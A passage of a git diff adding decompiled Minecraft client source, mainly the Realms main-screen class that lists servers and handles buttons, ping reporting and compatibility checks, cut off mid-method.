this.delegateBuilder.putSprite(p_putSprite_1_); + } + + public void setSprite(TextureAtlasSprite p_setSprite_1_) + { + this.vertexBuilder.setSprite(p_setSprite_1_); + this.delegateBuilder.setSprite(p_setSprite_1_); + } + + public void setBlockLayer(RenderType p_setBlockLayer_1_) + { + this.vertexBuilder.setBlockLayer(p_setBlockLayer_1_); + this.delegateBuilder.setBlockLayer(p_setBlockLayer_1_); + } + + public Vector3f getTempVec3f(Vector3f p_getTempVec3f_1_) + { + return this.delegateBuilder.getTempVec3f(p_getTempVec3f_1_); + } + + public Vector3f getTempVec3f(float p_getTempVec3f_1_, float p_getTempVec3f_2_, float p_getTempVec3f_3_) + { + return this.delegateBuilder.getTempVec3f(p_getTempVec3f_1_, p_getTempVec3f_2_, p_getTempVec3f_3_); + } + + public float[] getTempFloat4(float p_getTempFloat4_1_, float p_getTempFloat4_2_, float p_getTempFloat4_3_, float p_getTempFloat4_4_) + { + return this.delegateBuilder.getTempFloat4(p_getTempFloat4_1_, p_getTempFloat4_2_, p_getTempFloat4_3_, p_getTempFloat4_4_); + } + + public int[] getTempInt4(int p_getTempInt4_1_, int p_getTempInt4_2_, int p_getTempInt4_3_, int p_getTempInt4_4_) + { + return this.delegateBuilder.getTempInt4(p_getTempInt4_1_, p_getTempInt4_2_, p_getTempInt4_3_, p_getTempInt4_4_); + } + + public IRenderTypeBuffer.Impl getRenderTypeBuffer() + { + return this.delegateBuilder.getRenderTypeBuffer(); + } + } +} diff --git a/src/com/mojang/blaze3d/vertex/package-info.java b/src/com/mojang/blaze3d/vertex/package-info.java new file mode 100644 index 00000000..804e2ba8 --- /dev/null +++ b/src/com/mojang/blaze3d/vertex/package-info.java @@ -0,0 +1,6 @@ +@ParametersAreNonnullByDefault +@MethodsReturnNonnullByDefault +package com.mojang.blaze3d.vertex; + +import mcp.MethodsReturnNonnullByDefault; +import javax.annotation.ParametersAreNonnullByDefault; \ No newline at end of file diff --git a/src/com/mojang/realmsclient/RealmsMainScreen.java b/src/com/mojang/realmsclient/RealmsMainScreen.java new file mode 100644 index 00000000..f7cdf560 --- /dev/null +++ b/src/com/mojang/realmsclient/RealmsMainScreen.java @@ -0,0 +1,1904 @@ +package com.mojang.realmsclient; + +import com.google.common.collect.ImmutableList; +import com.google.common.collect.Lists; +import com.google.common.util.concurrent.RateLimiter; +import com.mojang.blaze3d.matrix.MatrixStack; +import com.mojang.blaze3d.platform.GlStateManager; +import com.mojang.blaze3d.systems.RenderSystem; +import com.mojang.realmsclient.client.Ping; +import com.mojang.realmsclient.client.RealmsClient; +import com.mojang.realmsclient.dto.PingResult; +import com.mojang.realmsclient.dto.RealmsServer; +import com.mojang.realmsclient.dto.RealmsServerPlayerList; +import com.mojang.realmsclient.dto.RealmsServerPlayerLists; +import com.mojang.realmsclient.dto.RegionPingResult; +import com.mojang.realmsclient.exception.RealmsServiceException; +import com.mojang.realmsclient.gui.RealmsDataFetcher; +import com.mojang.realmsclient.gui.screens.RealmsClientOutdatedScreen; +import com.mojang.realmsclient.gui.screens.RealmsConfigureWorldScreen; +import com.mojang.realmsclient.gui.screens.RealmsCreateRealmScreen; +import com.mojang.realmsclient.gui.screens.RealmsGenericErrorScreen; +import com.mojang.realmsclient.gui.screens.RealmsLongConfirmationScreen; +import com.mojang.realmsclient.gui.screens.RealmsLongRunningMcoTaskScreen; +import com.mojang.realmsclient.gui.screens.RealmsParentalConsentScreen; +import com.mojang.realmsclient.gui.screens.RealmsPendingInvitesScreen; +import com.mojang.realmsclient.util.RealmsPersistence; +import com.mojang.realmsclient.util.RealmsTextureManager; +import java.util.Arrays; +import java.util.Collection; +import java.util.List; +import java.util.concurrent.TimeUnit; +import java.util.concurrent.locks.ReentrantLock; +import javax.annotation.Nullable; +import net.minecraft.client.Minecraft; +import net.minecraft.client.gui.AbstractGui; +import net.minecraft.client.gui.DialogTexts; +import net.minecraft.client.gui.IBidiRenderer; +import net.minecraft.client.gui.IGuiEventListener; +import net.minecraft.client.gui.screen.IScreen; +import net.minecraft.client.gui.screen.Screen; +import net.minecraft.client.gui.widget.button.Button; +import net.minecraft.client.gui.widget.list.ExtendedList; +import net.minecraft.client.resources.I18n; +import net.minecraft.client.util.KeyCombo; +import net.minecraft.realms.RealmsNarratorHelper; +import net.minecraft.realms.RealmsObjectSelectionList; +import net.minecraft.realms.RealmsScreen; +import net.minecraft.realms.action.ConnectingToRealmsAction; +import net.minecraft.resources.IResourceManager; +import net.minecraft.util.ResourceLocation; +import net.minecraft.util.Util; +import net.minecraft.util.math.MathHelper; +import net.minecraft.util.text.ITextComponent; +import net.minecraft.util.text.StringTextComponent; +import net.minecraft.util.text.TextFormatting; +import net.minecraft.util.text.TranslationTextComponent; +import org.apache.logging.log4j.LogManager; +import org.apache.logging.log4j.Logger; + +public class RealmsMainScreen extends RealmsScreen +{ + private static final Logger field_224012_a = LogManager.getLogger(); + private static final ResourceLocation field_237540_b_ = new ResourceLocation("realms", "textures/gui/realms/on_icon.png"); + private static final ResourceLocation field_237541_c_ = new ResourceLocation("realms", "textures/gui/realms/off_icon.png"); + private static final ResourceLocation field_237542_p_ = new ResourceLocation("realms", "textures/gui/realms/expired_icon.png"); + private static final ResourceLocation field_237543_q_ = new ResourceLocation("realms", "textures/gui/realms/expires_soon_icon.png"); + private static final ResourceLocation field_237544_r_ = new ResourceLocation("realms", "textures/gui/realms/leave_icon.png"); + private static final ResourceLocation field_237545_s_ = new ResourceLocation("realms", "textures/gui/realms/invitation_icons.png"); + private static final ResourceLocation field_237546_t_ = new ResourceLocation("realms", "textures/gui/realms/invite_icon.png"); + private static final ResourceLocation field_237547_u_ = new ResourceLocation("realms", "textures/gui/realms/world_icon.png"); + private static final ResourceLocation field_237548_v_ = new ResourceLocation("realms", "textures/gui/title/realms.png"); + private static final ResourceLocation field_237549_w_ = new ResourceLocation("realms", "textures/gui/realms/configure_icon.png"); + private static final ResourceLocation field_237550_x_ = new ResourceLocation("realms", "textures/gui/realms/questionmark.png"); + private static final ResourceLocation field_237551_y_ = new ResourceLocation("realms", "textures/gui/realms/news_icon.png"); + private static final ResourceLocation field_237552_z_ = new ResourceLocation("realms", "textures/gui/realms/popup.png"); + private static final ResourceLocation field_237534_A_ = new ResourceLocation("realms", "textures/gui/realms/darken.png"); + private static final ResourceLocation field_237535_B_ = new ResourceLocation("realms", "textures/gui/realms/cross_icon.png"); + private static final ResourceLocation field_237536_C_ = new ResourceLocation("realms", "textures/gui/realms/trial_icon.png"); + private static final ResourceLocation field_237537_D_ = new ResourceLocation("minecraft", "textures/gui/widgets.png"); + private static final ITextComponent field_243000_E = new TranslationTextComponent("mco.invites.nopending"); + private static final ITextComponent field_243001_F = new TranslationTextComponent("mco.invites.pending"); + private static final List field_243002_G = ImmutableList.of(new TranslationTextComponent("mco.trial.message.line1"), new TranslationTextComponent("mco.trial.message.line2")); + private static final ITextComponent field_243003_H = new TranslationTextComponent("mco.selectServer.uninitialized"); + private static final ITextComponent field_243004_I = new TranslationTextComponent("mco.selectServer.expiredList"); + private static final ITextComponent field_243005_J = new TranslationTextComponent("mco.selectServer.expiredRenew"); + private static final ITextComponent field_243006_K = new TranslationTextComponent("mco.selectServer.expiredTrial"); + private static final ITextComponent field_243007_L = new TranslationTextComponent("mco.selectServer.expiredSubscribe"); + private static final ITextComponent field_243008_M = (new TranslationTextComponent("mco.selectServer.minigame")).appendString(" "); + private static final ITextComponent field_243009_N = new TranslationTextComponent("mco.selectServer.popup"); + private static final ITextComponent field_243010_O = new TranslationTextComponent("mco.selectServer.expired"); + private static final ITextComponent field_243011_P = new TranslationTextComponent("mco.selectServer.expires.soon"); + private static final ITextComponent field_243012_Q = new TranslationTextComponent("mco.selectServer.expires.day"); + private static final ITextComponent field_243013_R = new TranslationTextComponent("mco.selectServer.open"); + private static final ITextComponent field_243014_S = new TranslationTextComponent("mco.selectServer.closed"); + private static final ITextComponent field_243015_T = new TranslationTextComponent("mco.selectServer.leave"); + private static final ITextComponent field_243016_U = new TranslationTextComponent("mco.selectServer.configure"); + private static final ITextComponent field_243017_V = new TranslationTextComponent("mco.selectServer.info"); + private static final ITextComponent field_243018_W = new TranslationTextComponent("mco.news"); + private static List field_227918_e_ = ImmutableList.of(); + private static final RealmsDataFetcher field_224017_f = new RealmsDataFetcher(); + private static boolean field_224013_b; + private static int field_224018_g = -1; + private static volatile boolean field_224031_t; + private static volatile boolean field_224032_u; + private static volatile boolean field_224033_v; + private static Screen field_224000_H; + private static boolean field_224001_I; + private final RateLimiter field_224014_c; + private boolean field_224015_d; + private final Screen field_224019_h; + private volatile RealmsMainScreen.ServerList field_224020_i; + private long field_224021_j = -1L; + private Button field_224022_k; + private Button field_224023_l; + private Button field_224024_m; + private Button field_224025_n; + private Button field_224026_o; + private List field_224027_p; + private List field_224028_q = Lists.newArrayList(); + private volatile int field_224029_r; + private int field_224030_s; + private boolean field_224034_w; + private boolean field_224035_x; + private boolean field_224036_y; + private volatile boolean field_224037_z; + private volatile boolean field_223993_A; + private volatile boolean field_223994_B; + private volatile boolean field_223995_C; + private volatile String field_223996_D; + private int field_223997_E; + private int field_223998_F; + private boolean field_223999_G; + private List field_224002_J; + private int field_224003_K; + private ReentrantLock field_224004_L = new ReentrantLock(); + private IBidiRenderer field_243019_aI = IBidiRenderer.field_243257_a; + private RealmsMainScreen.ServerState field_237539_ap_; + private Button field_224006_N; + private Button field_224007_O; + private Button field_224008_P; + private Button field_224009_Q; + private Button field_224010_R; + private Button field_224011_S; + + public RealmsMainScreen(Screen p_i232181_1_) + { + this.field_224019_h = p_i232181_1_; + this.field_224014_c = RateLimiter.create((double)0.016666668F); + } + + private boolean func_223928_a() + { + if (func_223968_l() && this.field_224034_w) + { + if (this.field_224037_z && !this.field_223993_A) + { + return true; + } + else + { + for (RealmsServer realmsserver : this.field_224028_q) + { + if (realmsserver.field_230588_g_.equals(this.minecraft.getSession().getPlayerID())) + { + return false; + } + } + + return true; + } + } + else + { + return false; + } + } + + public boolean func_223990_b() + { + if (func_223968_l() && this.field_224034_w) + { + if (this.field_224035_x) + { + return true; + } + else + { + return this.field_224037_z && !this.field_223993_A && this.field_224028_q.isEmpty() ? true : this.field_224028_q.isEmpty(); + } + } + else + { + return false; + } + } + + public void init() + { + this.field_224002_J = Lists.newArrayList(new KeyCombo(new char[] {'3', '2', '1', '4', '5', '6'}, () -> + { + field_224013_b = !field_224013_b; + }), new KeyCombo(new char[] {'9', '8', '7', '1', '2', '3'}, () -> + { + if (RealmsClient.field_224944_a == RealmsClient.Environment.STAGE) + { + this.func_223973_x(); + } + else { + this.func_223884_v(); + } + }), new KeyCombo(new char[] {'9', '8', '7', '4', '5', '6'}, () -> + { + if (RealmsClient.field_224944_a == RealmsClient.Environment.LOCAL) + { + this.func_223973_x(); + } + else { + this.func_223962_w(); + } + })); + + if (field_224000_H != null) + { + this.minecraft.displayGuiScreen(field_224000_H); + } + else + { + this.field_224004_L = new ReentrantLock(); + + if (field_224033_v && !func_223968_l()) + { + this.func_223975_u(); + } + + this.func_223895_s(); + this.func_223965_t(); + + if (!this.field_224015_d) + { + this.minecraft.setConnectedToRealms(false); + } + + this.minecraft.keyboardListener.enableRepeatEvents(true); + + if (func_223968_l()) + { + field_224017_f.func_225087_d(); + } + + this.field_223994_B = false; + + if (func_223968_l() && this.field_224034_w) + { + this.func_223901_c(); + } + + this.field_224020_i = new RealmsMainScreen.ServerList(); + + if (field_224018_g != -1) + { + this.field_224020_i.setScrollAmount((double)field_224018_g); + } + + this.addListener(this.field_224020_i); + this.setListenerDefault(this.field_224020_i); + this.field_243019_aI = IBidiRenderer.func_243258_a(this.font, field_243009_N, 100); + } + } + + private static boolean func_223968_l() + { + return field_224032_u && field_224031_t; + } + + public void func_223901_c() + { + this.field_224026_o = this.addButton(new Button(this.width / 2 - 202, this.height - 32, 90, 20, new TranslationTextComponent("mco.selectServer.leave"), (p_237624_1_) -> + { + this.func_223906_g(this.func_223967_a(this.field_224021_j)); + })); + this.field_224025_n = this.addButton(new Button(this.width / 2 - 190, this.height - 32, 90, 20, new TranslationTextComponent("mco.selectServer.configure"), (p_237637_1_) -> + { + this.func_223966_f(this.func_223967_a(this.field_224021_j)); + })); + this.field_224022_k = this.addButton(new Button(this.width / 2 - 93, this.height - 32, 90, 20, new TranslationTextComponent("mco.selectServer.play"), (p_237635_1_) -> + { + RealmsServer realmsserver1 = this.func_223967_a(this.field_224021_j); + + if (realmsserver1 != null) + { + this.func_223911_a(realmsserver1, this); + } + })); + this.field_224023_l = this.addButton(new Button(this.width / 2 + 4, this.height - 32, 90, 20, DialogTexts.GUI_BACK, (p_237632_1_) -> + { + if (!this.field_224036_y) + { + this.minecraft.displayGuiScreen(this.field_224019_h); + } + })); + this.field_224024_m = this.addButton(new Button(this.width / 2 + 100, this.height - 32, 90, 20, new TranslationTextComponent("mco.selectServer.expiredRenew"), (p_237629_1_) -> + { + this.func_223930_q(); + })); + this.field_224007_O = this.addButton(new RealmsMainScreen.PendingInvitesButton()); + this.field_224008_P = this.addButton(new RealmsMainScreen.NewsButton()); + this.field_224006_N = this.addButton(new RealmsMainScreen.InfoButton()); + this.field_224011_S = this.addButton(new RealmsMainScreen.CloseButton()); + this.field_224009_Q = this.addButton(new Button(this.width / 2 + 52, this.func_223932_C() + 137 - 20, 98, 20, new TranslationTextComponent("mco.selectServer.trial"), (p_237618_1_) -> + { + if (this.field_224037_z && !this.field_223993_A) + { + Util.getOSType().openURI("https://aka.ms/startjavarealmstrial"); + this.minecraft.displayGuiScreen(this.field_224019_h); + } + })); + this.field_224010_R = this.addButton(new Button(this.width / 2 + 52, this.func_223932_C() + 160 - 20, 98, 20, new TranslationTextComponent("mco.selectServer.buy"), (p_237612_0_) -> + { + Util.getOSType().openURI("https://aka.ms/BuyJavaRealms"); + })); + RealmsServer realmsserver = this.func_223967_a(this.field_224021_j); + this.func_223915_a(realmsserver); + } + + private void func_223915_a(@Nullable RealmsServer p_223915_1_) + { + this.field_224022_k.active = this.func_223897_b(p_223915_1_) && !this.func_223990_b(); + this.field_224024_m.visible = this.func_223920_c(p_223915_1_); + this.field_224025_n.visible = this.func_223941_d(p_223915_1_); + this.field_224026_o.visible = this.func_223959_e(p_223915_1_); + boolean flag = this.func_223990_b() && this.field_224037_z && !this.field_223993_A; + this.field_224009_Q.visible = flag; + this.field_224009_Q.active = flag; + this.field_224010_R.visible = this.func_223990_b(); + this.field_224011_S.visible = this.func_223990_b() && this.field_224035_x; + this.field_224024_m.active = !this.func_223990_b(); + this.field_224025_n.active = !this.func_223990_b(); + this.field_224026_o.active = !this.func_223990_b(); + this.field_224008_P.active = true; + this.field_224007_O.active = true; + this.field_224023_l.active = true; + this.field_224006_N.active = !this.func_223990_b(); + } + + private boolean func_223977_m() + { + return (!this.func_223990_b() || this.field_224035_x) && func_223968_l() && this.field_224034_w; + } + + private boolean func_223897_b(@Nullable RealmsServer p_223897_1_) + { + return p_223897_1_ != null && !p_223897_1_.field_230591_j_ && p_223897_1_.field_230586_e_ == RealmsServer.Status.OPEN; + } + + private boolean func_223920_c(@Nullable RealmsServer p_223920_1_) + { + return p_223920_1_ != null && p_223920_1_.field_230591_j_ && this.func_223885_h(p_223920_1_); + } + + private boolean func_223941_d(@Nullable RealmsServer p_223941_1_) + { + return p_223941_1_ != null && this.func_223885_h(p_223941_1_); + } + + private boolean func_223959_e(@Nullable RealmsServer p_223959_1_) + { + return p_223959_1_ != null && !this.func_223885_h(p_223959_1_); + } + + public void tick() + { + super.tick(); + this.field_224036_y = false; + ++this.field_224030_s; + --this.field_224003_K; + + if (this.field_224003_K < 0) + { + this.field_224003_K = 0; + } + + if (func_223968_l()) + { + field_224017_f.func_225086_b(); + + if (field_224017_f.func_225083_a(RealmsDataFetcher.Task.SERVER_LIST)) + { + List list = field_224017_f.func_225078_e(); + this.field_224020_i.func_231409_q_(); + boolean flag = !this.field_224034_w; + + if (flag) + { + this.field_224034_w = true; + } + + if (list != null) + { + boolean flag1 = false; + + for (RealmsServer realmsserver : list) + { + if (this.func_223991_i(realmsserver)) + { + flag1 = true; + } + } + + this.field_224028_q = list; + + if (this.func_223928_a()) + { + this.field_224020_i.func_241825_a_(new RealmsMainScreen.TrialServerEntry()); + } + + for (RealmsServer realmsserver1 : this.field_224028_q) + { + this.field_224020_i.addEntry(new RealmsMainScreen.ServerEntry(realmsserver1)); + } + + if (!field_224001_I && flag1) + { + field_224001_I = true; + this.func_223944_n(); + } + } + + if (flag) + { + this.func_223901_c(); + } + } + + if (field_224017_f.func_225083_a(RealmsDataFetcher.Task.PENDING_INVITE)) + { + this.field_224029_r = field_224017_f.func_225081_f(); + + if (this.field_224029_r > 0 && this.field_224014_c.tryAcquire(1)) + { + RealmsNarratorHelper.func_239550_a_(I18n.format("mco.configure.world.invite.narration", this.field_224029_r)); + } + } + + if (field_224017_f.func_225083_a(RealmsDataFetcher.Task.TRIAL_AVAILABLE) && !this.field_223993_A) + { + boolean flag2 = field_224017_f.func_225071_g(); + + if (flag2 != this.field_224037_z && this.func_223990_b()) + { + this.field_224037_z = flag2; + this.field_223994_B = false; + } + else + { + this.field_224037_z = flag2; + } + } + + if (field_224017_f.func_225083_a(RealmsDataFetcher.Task.LIVE_STATS)) + { + RealmsServerPlayerLists realmsserverplayerlists = field_224017_f.func_225079_h(); + + for (RealmsServerPlayerList realmsserverplayerlist : realmsserverplayerlists.field_230612_a_) + { + for (RealmsServer realmsserver2 : this.field_224028_q) + { + if (realmsserver2.field_230582_a_ == realmsserverplayerlist.field_230609_a_) + { + realmsserver2.func_230772_a_(realmsserverplayerlist); + break; + } + } + } + } + + if (field_224017_f.func_225083_a(RealmsDataFetcher.Task.UNREAD_NEWS)) + { + this.field_223995_C = field_224017_f.func_225059_i(); + this.field_223996_D = field_224017_f.func_225063_j(); + } + + field_224017_f.func_225072_c(); + + if (this.func_223990_b()) + { + ++this.field_223998_F; + } + + if (this.field_224006_N != null) + { + this.field_224006_N.visible = this.func_223977_m(); + } + } + } + + private void func_223944_n() + { + (new Thread(() -> + { + List list = Ping.func_224864_a(); + RealmsClient realmsclient = RealmsClient.func_224911_a(); + PingResult pingresult = new PingResult(); + pingresult.field_230571_a_ = list; + pingresult.field_230572_b_ = this.func_223952_o(); + + try { + realmsclient.func_224903_a(pingresult); + } + catch (Throwable throwable) + { + field_224012_a.warn("Could not send ping result to Realms: ", throwable); + } + })).start(); + } + + private List func_223952_o() + { + List list = Lists.newArrayList(); + + for (RealmsServer realmsserver : this.field_224028_q) + { + if (this.func_223991_i(realmsserver)) + { + list.add(realmsserver.field_230582_a_); + } + } + + return list; + } + + public void onClose() + { + this.minecraft.keyboardListener.enableRepeatEvents(false); + this.func_223939_y(); + } + + private void func_223930_q() + { + RealmsServer realmsserver = this.func_223967_a(this.field_224021_j); + + if (realmsserver != null) + { + String s = "https://aka.ms/ExtendJavaRealms?subscriptionId=" + realmsserver.field_230583_b_ + "&profileId=" + this.minecraft.getSession().getPlayerID() + "&ref=" + (realmsserver.field_230592_k_ ? "expiredTrial" : "expiredRealm"); + this.minecraft.keyboardListener.setClipboardString(s); + Util.getOSType().openURI(s); + } + } + + private void func_223895_s() + { + if (!field_224033_v) + { + field_224033_v = true; + (new Thread("MCO Compatability Checker #1") + { + public void run() + { + RealmsClient realmsclient = RealmsClient.func_224911_a(); + + try + { + RealmsClient.CompatibleVersionResponse realmsclient$compatibleversionresponse = realmsclient.func_224939_i(); + + if (realmsclient$compatibleversionresponse == RealmsClient.CompatibleVersionResponse.OUTDATED) + { + RealmsMainScreen.field_224000_H = new RealmsClientOutdatedScreen(RealmsMainScreen.this.field_224019_h, true); + RealmsMainScreen.this.minecraft.execute(() -> + { + RealmsMainScreen.this.minecraft.displayGuiScreen(RealmsMainScreen.field_224000_H); + }); + return; + } + + if (realmsclient$compatibleversionresponse == RealmsClient.CompatibleVersionResponse.OTHER) + { + RealmsMainScreen.field_224000_H = new RealmsClientOutdatedScreen(RealmsMainScreen.this.field_224019_h, false); + RealmsMainScreen.this.minecraft.execute(() -> + { + RealmsMainScreen.this.minecraft.displayGuiScreen(RealmsMainScreen.field_224000_H); + }); + return; + } + + RealmsMainScreen.this.func_223975_u(); + } + catch (RealmsServiceException realmsserviceexception) + { + RealmsMainScreen.field_224033_v = false; + RealmsMainScreen.field_224012_a.error("Couldn't connect to realms", (Throwable)realmsserviceexception); + + if (realmsserviceexception.field_224981_a == 401) + { + RealmsMainScreen.field_224000_H = new RealmsGenericErrorScreen(new TranslationTextComponent("mco.error.invalid.session.title"), new TranslationTextComponent("mco.error.invalid.session.message"), RealmsMainScreen.this.field_224019_h); + RealmsMainScreen.this.minecraft.execute(() -> + { + RealmsMainScreen.this.minecraft.displayGuiScreen(RealmsMainScreen.field_224000_H); + }); + } + else + { + RealmsMainScreen.this.minecraft.execute(() -> + { + RealmsMainScreen.this.minecraft.displayGuiScreen(new RealmsGenericErrorScreen(realmsserviceexception, RealmsMainScreen.this.field_224019_h)); + }); + } + } + } + }).start(); + } + } + + private void func_223965_t() + { + } + + private void func_223975_u() + { + (new Thread("MCO Compatability Checker #1") + { + public void run() + { + RealmsClient realmsclient = RealmsClient.func_224911_a(); + + try + { + Boolean obool = realmsclient.func_224918_g(); + + if (obool) + { + RealmsMainScreen.field_224012_a.info("Realms is available for this user"); + RealmsMainScreen.field_224031_t = true; + } + else + { + RealmsMainScreen.field_224012_a.info("Realms is not available for this user"); + RealmsMainScreen.field_224031_t = false; + RealmsMainScreen.this.minecraft.execute(() -> + { + RealmsMainScreen.this.minecraft.displayGuiScreen(new RealmsParentalConsentScreen(RealmsMainScreen.this.field_224019_h)); + }); + } + + RealmsMainScreen.field_224032_u = true; + } + catch (RealmsServiceException realmsserviceexception) + { + RealmsMainScreen.field_224012_a.error("Couldn't connect to realms", (Throwable)realmsserviceexception); + RealmsMainScreen.this.minecraft.execute(() -> + { + RealmsMainScreen.this.minecraft.displayGuiScreen(new RealmsGenericErrorScreen(realmsserviceexception, RealmsMainScreen.this.field_224019_h)); + }); + } + } + }).start(); + } + + private void func_223884_v() + { + if (RealmsClient.field_224944_a != RealmsClient.Environment.STAGE) + { + (new Thread("MCO Stage Availability Checker #1") + { + public void run() + { + RealmsClient realmsclient = RealmsClient.func_224911_a(); + + try + { + Boolean obool = realmsclient.func_224931_h(); + + if (obool) + { + RealmsClient.func_224940_b(); + RealmsMainScreen.field_224012_a.info("Switched to stage"); + RealmsMainScreen.field_224017_f.func_225087_d(); + } + } + catch (RealmsServiceException realmsserviceexception) + { + RealmsMainScreen.field_224012_a.error("Couldn't connect to Realms: " + realmsserviceexception); + } + } + }).start(); + } + } + + private void func_223962_w() + { + if (RealmsClient.field_224944_a != RealmsClient.Environment.LOCAL) + { + (new Thread("MCO Local Availability Checker #1") + { + public void run() + { + RealmsClient realmsclient = RealmsClient.func_224911_a(); + + try + { + Boolean obool = realmsclient.func_224931_h(); + + if (obool) + { + RealmsClient.func_224941_d(); + RealmsMainScreen.field_224012_a.info("Switched to local"); + RealmsMainScreen.field_224017_f.func_225087_d(); + } + } + catch (RealmsServiceException realmsserviceexception) + { + RealmsMainScreen.field_224012_a.error("Couldn't connect to Realms: " + realmsserviceexception); + } + } + }).start(); + } + } + + private void func_223973_x() + { + RealmsClient.func_224921_c(); + field_224017_f.func_225087_d(); + } + + private void func_223939_y() + { + field_224017_f.func_225070_k(); + } + + private void func_223966_f(RealmsServer p_223966_1_) + { + if (this.minecraft.getSession().getPlayerID().equals(p_223966_1_.field_230588_g_) || field_224013_b) + { + this.func_223949_z(); + this.minecraft.displayGuiScreen(new RealmsConfigureWorldScreen(this, p_223966_1_.field_230582_a_)); + } + } + + private void func_223906_g(@Nullable RealmsServer p_223906_1_) + { + if (p_223906_1_ != null && !this.minecraft.getSession().getPlayerID().equals(p_223906_1_.field_230588_g_)) + { + this.func_223949_z(); + ITextComponent itextcomponent = new TranslationTextComponent("mco.configure.world.leave.question.line1"); + ITextComponent itextcomponent1 = new TranslationTextComponent("mco.configure.world.leave.question.line2"); + this.minecraft.displayGuiScreen(new RealmsLongConfirmationScreen(this::func_237625_d_, RealmsLongConfirmationScreen.Type.Info, itextcomponent, itextcomponent1, true)); + } + } + + private void func_223949_z() + { + field_224018_g = (int)this.field_224020_i.getScrollAmount(); + } + + @Nullable + private RealmsServer func_223967_a(long p_223967_1_) + { + for (RealmsServer realmsserver : this.field_224028_q) + { + if (realmsserver.field_230582_a_ == p_223967_1_) + { + return realmsserver; + } + } + + return null; + } + + private void func_237625_d_(boolean p_237625_1_) + { + if (p_237625_1_) + { + (new Thread("Realms-leave-server") + { + public void run() + { + try + { + RealmsServer realmsserver = RealmsMainScreen.this.func_223967_a(RealmsMainScreen.this.field_224021_j); + + if (realmsserver != null) + { + RealmsClient realmsclient = RealmsClient.func_224911_a(); + realmsclient.func_224912_c(realmsserver.field_230582_a_); + RealmsMainScreen.this.minecraft.execute(() -> + { + RealmsMainScreen.this.func_243059_h(realmsserver); + }); + } + } + catch (RealmsServiceException realmsserviceexception) + { + RealmsMainScreen.field_224012_a.error("Couldn't configure world"); + RealmsMainScreen.this.minecraft.execute(() -> + { + RealmsMainScreen.this.minecraft.displayGuiScreen(new RealmsGenericErrorScreen(realmsserviceexception, RealmsMainScreen.this)); + }); + } + } + }).start(); + } + + this.minecraft.displayGuiScreen(this); + } + + private void func_243059_h(RealmsServer p_243059_1_) + { + field_224017_f.func_225085_a(p_243059_1_); + this.field_224028_q.remove(p_243059_1_); + this.field_224020_i.getEventListeners().removeIf((p_243041_1_) -> + { + return p_243041_1_ instanceof RealmsMainScreen.ServerEntry && ((RealmsMainScreen.ServerEntry)p_243041_1_).field_223734_a.field_230582_a_ == this.field_224021_j; + }); + this.field_224020_i.setSelected((RealmsMainScreen.ListEntry)null); + this.func_223915_a((RealmsServer)null); + this.field_224021_j = -1L; + this.field_224022_k.active = false; + } + + public void func_223978_e() + { + this.field_224021_j = -1L; + } + + public boolean keyPressed(int keyCode, int scanCode, int modifiers) + { + if (keyCode == 256) + { + this.field_224002_J.forEach(KeyCombo::func_224800_a); + this.func_223955_A(); + return true; + } + else + { + return super.keyPressed(keyCode, scanCode, modifiers); + } + } + + private void func_223955_A() + { + if (this.func_223990_b() && this.field_224035_x) + { + this.field_224035_x = false; + } + else + { + this.minecraft.displayGuiScreen(this.field_224019_h); + } + } + + public boolean charTyped(char codePoint, int modifiers) + { + this.field_224002_J.forEach((p_237578_1_) -> + { + p_237578_1_.func_224799_a(codePoint); + }); + return true; + } + + public void render(MatrixStack matrixStack, int mouseX, int mouseY, float partialTicks) + { + this.field_237539_ap_ = RealmsMainScreen.ServerState.NONE; + this.field_224027_p = null; + this.renderBackground(matrixStack); + this.field_224020_i.render(matrixStack, mouseX, mouseY, partialTicks); + this.func_237579_a_(matrixStack, this.width / 2 - 50, 7); + + if (RealmsClient.field_224944_a == RealmsClient.Environment.STAGE) + { + this.func_237613_c_(matrixStack); + } + + if (RealmsClient.field_224944_a == RealmsClient.Environment.LOCAL) + { + this.func_237604_b_(matrixStack); + } + + if (this.func_223990_b()) + { + this.func_237605_b_(matrixStack, mouseX, mouseY); + } + else + { + if (this.field_223994_B) + { + this.func_223915_a((RealmsServer)null); + + if (!this.children.contains(this.field_224020_i)) + { + this.children.add(this.field_224020_i); + } + + RealmsServer realmsserver = this.func_223967_a(this.field_224021_j); + this.field_224022_k.active = this.func_223897_b(realmsserver); + } + + this.field_223994_B = false; + } + + super.render(matrixStack, mouseX, mouseY, partialTicks); + + if (this.field_224027_p != null) + { + this.func_237583_a_(matrixStack, this.field_224027_p, mouseX, mouseY); + } + + if (this.field_224037_z && !this.field_223993_A && this.func_223990_b()) + { + this.minecraft.getTextureManager().bindTexture(field_237536_C_); + RenderSystem.color4f(1.0F, 1.0F, 1.0F, 1.0F); + int k = 8; + int i = 8; + int j = 0; + + if ((Util.milliTime() / 800L & 1L) == 1L) + { + j = 8; + } + + AbstractGui.blit(matrixStack, this.field_224009_Q.x + this.field_224009_Q.getWidth() - 8 - 4, this.field_224009_Q.y + this.field_224009_Q.getHeightRealms() / 2 - 4, 0.0F, (float)j, 8, 8, 8, 16); + } + } + + private void func_237579_a_(MatrixStack p_237579_1_, int p_237579_2_, int p_237579_3_) + { + this.minecraft.getTextureManager().bindTexture(field_237548_v_); + RenderSystem.color4f(1.0F, 1.0F, 1.0F, 1.0F); + RenderSystem.pushMatrix(); + RenderSystem.scalef(0.5F, 0.5F, 0.5F); + AbstractGui.blit(p_237579_1_, p_237579_2_ * 2, p_237579_3_ * 2 - 5, 0.0F, 0.0F, 200, 50, 200, 50); + RenderSystem.popMatrix(); + } + + public boolean mouseClicked(double mouseX, double mouseY, int button) + { + if (this.func_223979_a(mouseX, mouseY) && this.field_224035_x) + { + this.field_224035_x = false; + this.field_224036_y = true; + return true; + } + else + { + return super.mouseClicked(mouseX, mouseY, button); + } + } + + private boolean func_223979_a(double p_223979_1_, double p_223979_3_) + { + int i = this.func_223989_B(); + int j = this.func_223932_C(); + return p_223979_1_ < (double)(i - 5) || p_223979_1_ > (double)(i + 315) || p_223979_3_ < (double)(j - 5) || p_223979_3_ > (double)(j + 171); + } + + private void func_237605_b_(MatrixStack p_237605_1_, int p_237605_2_, int p_237605_3_) + { + int i = this.func_223989_B(); + int j = this.func_223932_C(); + + if (!this.field_223994_B) + { + this.field_223997_E = 0; + this.field_223998_F = 0; + this.field_223999_G = true; + this.func_223915_a((RealmsServer)null); + + if (this.children.contains(this.field_224020_i)) + { + IGuiEventListener iguieventlistener = this.field_224020_i; + + if (!this.children.remove(iguieventlistener)) + { + field_224012_a.error("Unable to remove widget: " + iguieventlistener); + } + } + + 